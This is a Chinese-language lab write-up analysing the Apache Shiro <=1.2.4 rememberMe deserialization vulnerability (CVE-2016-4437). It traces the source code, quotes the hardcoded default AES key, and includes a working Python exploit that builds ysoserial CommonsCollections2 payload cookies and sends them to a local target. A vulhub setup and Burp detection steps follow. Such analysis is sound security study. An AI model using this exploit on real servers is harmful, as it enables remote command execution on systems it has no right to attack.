Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
影响版本 Shiro <= 1.2.4
当后端接收到来自未经身份验证的用户的请求时,处理Cookie的流程是
检索cookie中RememberMe的值
Base64解码
使用AES解密
反序列化
环境准备
或者使用vulhub 来更方便的搭建整个靶场环境 首先我们先来分析下shiro的源码 先down下来,在IJ里面打开,然后静静地等它下载
漏洞分析 首先,我们先明确流程与对线,主要是研究在RememberMe之后的登录过程
加密 在打开RememberMe之后,其下一步就是加密,那我们先找到RememberMe这个地方
core/src/main/java/org.apache.shiro/mgt/AbstractRememberMeManager 然后找到判断RememberMe和登录认证的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void onSuccessfulLogin (Subject subject, AuthenticationToken token, AuthenticationInfo info) { forgetIdentity(subject); if (isRememberMe(token)) { rememberIdentity(subject, token, info); } else { if (log.isDebugEnabled()) { log.debug("AuthenticationToken did not indicate RememberMe is requested. " + "RememberMe functionality will not be executed for corresponding account." ); } } }
我们来分析跟进一下 首先是在onSuccessfulLogin
函数中forgetIdentity(subject);
,清除了认证信息,然后通过isRememberMe
先来跟进该函数
1 2 3 4 protected boolean isRememberMe (AuthenticationToken token) { return token != null && (token insta nceof RememberMeAuthenticationToken) && ((RememberMeAuthenticationToken) token).isRememberMe(); }
就是个通过RememberMe来判断是否有认证信息的函数,没什么东西,那回来往下看 接着就是这个东西,我们继续跟进rememberIdentity(subject, token, info);
1 2 3 4 public void rememberIdentity (Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) { PrincipalCollection principals = getIdentityToRemember(subject, authcInfo); rememberIdentity(subject, principals); }
首先调用了getIdentityToRemember
函数,用来判断是获取用户身份 接着跟进rememberIdentity
函数
1 2 3 4 protected void rememberIdentity (Subject subject, PrincipalCollection accountPrincipals) { byte [] bytes = convertPrincipalsToBytes(accountPrincipals); rememberSerializedIdentity(subject, bytes); }
看函数名convertPrincipalsToBytes
应该是把accountPrincipals
转换为了Byte类型,也可以跟进看看
1 2 3 4 5 6 7 protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = serialize(principals); if (getCipherService() != null ) { bytes = encrypt(bytes); } return bytes; }
在这里居然藏了一个序列化,还有加密,我们跟进这个加密看看
1 2 3 4 5 6 7 8 9 protected byte [] encrypt(byte [] serialized) { byte [] value = serialized; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
在debug中可以看到,这里是用到了CBC模式,对序列化后的用户root进行的AES加密,通过getEncryptionCipherKey
来获取密钥信息,继续跟进这个函数
1 2 3 public byte [] getEncryptionCipherKey() { return encryptionCipherKey; }
可以看到,这里是返回的固定常量private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
也可以很明显的看到,改密钥也是唯一使用的常量密钥
清楚这一点之后我们再回到rememberIdentity
函数中的rememberSerializedIdentity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected void rememberSerializedIdentity (Subject subject, byte [] serialized) { if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " + "request and response in order to set the rememberMe cookie. Returning immediately and " + "ignoring rememberMe operation." ; log.debug(msg); } return ; } HttpServletRequest request = WebUtils.getHttpRequest(subject); HttpServletResponse response = WebUtils.getHttpResponse(subject); String base64 = Base64.encodeToString(serialized); Cookie template = getCookie(); Cookie cookie = new SimpleCookie(template); cookie.setValue(base64); cookie.saveTo(request, response); }
这里的主要过程就是个base64编码,然后放到cookie里面
这里整个存入的流程就就结束了,还是十分好理解且逻辑清晰的
序列化—>AES加密—>base64编码—>设置到cookie中的rememberme字段
解密 解密过程的分析,我们首先找到收到认证时的地方
core/src/main/java/org.apache.shiro/mgt/DefaultSecurityManager
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected PrincipalCollection getRememberedIdentity (SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager(); if (rmm != null ) { try { return rmm.getRememberedPrincipals(subjectContext); } catch (Exception e) { if (log.isWarnEnabled()) { String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() + "] threw an exception during getRememberedPrincipals()." ; log.warn(msg, e); } } } return null ; }
接着我们还是来逐步分析,最开始是getRememberMeManager
函数
1 2 3 public RememberMeManager getRememberMeManager () { return rememberMeManager; }
简单的获取用户信息 接着就是getRememberedPrincipals
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public PrincipalCollection getRememberedPrincipals (SubjectContext subjectContext) { PrincipalCollection principals = null ; try { byte [] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0 ) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
这里调用的函数有点多,我们一个一个来看,首先是getRememberedSerializedIdentity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
首先是getCookie().readValue
读取cookie,再通过ensurePadding
函数进行base64的解码 然后进到convertBytesToPrincipals
函数,继续跟进
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
实现了一个解密,然后反序列化,而这个decrypt肯定与前面的加密对称,为CBC模式的AES 那整个的读取流程也结束了
读取cookie中的rememberMe—>base64解码—>AES解密—>反序列化
POC EXP 根据apache的版本
1 2 3 <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version >
所以EXP可以直接使用CommonsCollections2的链子,利用ysoserial生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import base64import sysimport uuidimport subprocessimport requestsfrom Crypto.Cipher import AESdef encode_rememberme (command ): popen = subprocess.Popen(['java' , '-jar' , 'ysoserial.jar' , 'CommonsCollections2' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_rememberMe_valuedef dnslog (command ): popen = subprocess.Popen(['java' , '-jar' , 'ysoserial.jar' , 'URLDNS' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_rememberMe_valueif __name__ == '__main__' : payload = encode_rememberme('C:\\WINDOWS\\System32\\calc.exe' ) print("rememberMe={}" .format (payload.decode())) payload1 = encode_rememberme('https://glacierrrr.online' ) print("rememberMe={}" .format (payload1.decode())) cookie = { "rememberMe" : payload.decode() } requests.get(url="http://127.0.0.1:8080/web_war/" , cookies=cookie)
漏洞利用 这里可以直接用vulhub更快的搭建
1 2 3 cd /vulhub/shiro/CVE-2016-4437 docker-compose build docker-compose up -d
搭建好后,8080端口就可以看到shiro框架的登录界面了
判断shiro 我们先用burp suite抓个包看一下 接着我们在报文头中加入Cookie: rememberMe=123;
再返回的报文中,也可以清楚的看到rememberMe=deleteMe
这个就是判断shiro框架的信息 或者使用bp的插件BurpShiroPassiveScan 这样bp会自动检测,并直接爆出shiro的漏洞
利用shiro 可以使用我们上面给出的exp,利用ysoserial直接打
或者直接使用集成化较高的工具,扫描并利用